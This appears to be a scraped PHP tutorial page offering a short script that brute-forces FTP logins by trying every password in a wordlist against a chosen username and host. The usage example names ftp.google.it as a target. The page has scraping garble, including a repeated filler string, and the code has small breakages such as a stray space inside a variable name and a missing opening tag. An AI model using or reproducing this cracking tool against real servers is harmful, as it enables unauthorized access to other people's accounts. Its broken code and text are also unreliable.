Home >Backend Development >PHP Tutorial >FTP violent PHP version_PHP tutorial

FTP violent PHP version_PHP tutorial

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-07-13 17:34:48929browse

$site = $argv[1];
$username = $argv[2];
$list = $argv[3];
 
if((isset ($site)) AND (isset($list)) AND (isset($username))){
 
if (file_exists($list)){
 
$list = file($ list);
$connection = ftp_connect($site) or die("Failed to establish connection to $site");
 
foreach($list as $passwd){
 
if (@ftp_login($connection, $username, $passwd)){
die(" [Success] - $passwd");
} else {
print "[Failed] - $passwd ";
}
 
}
 
ftp_close($connection);
} else
die("Brute force absent list");
 
} else
die("Us php .php Examples php brute.php ftp.google.it admin /root/list.txt");
?>

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/508462.htmlTechArticle?php $site = $argv[1]; $username = $argv[2]; $list = $argv[3]; if((isset($site)) AND (isset($list)) AND (isset($username))){ if (file_exists($list)){ $list = file($list); $conn...
Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn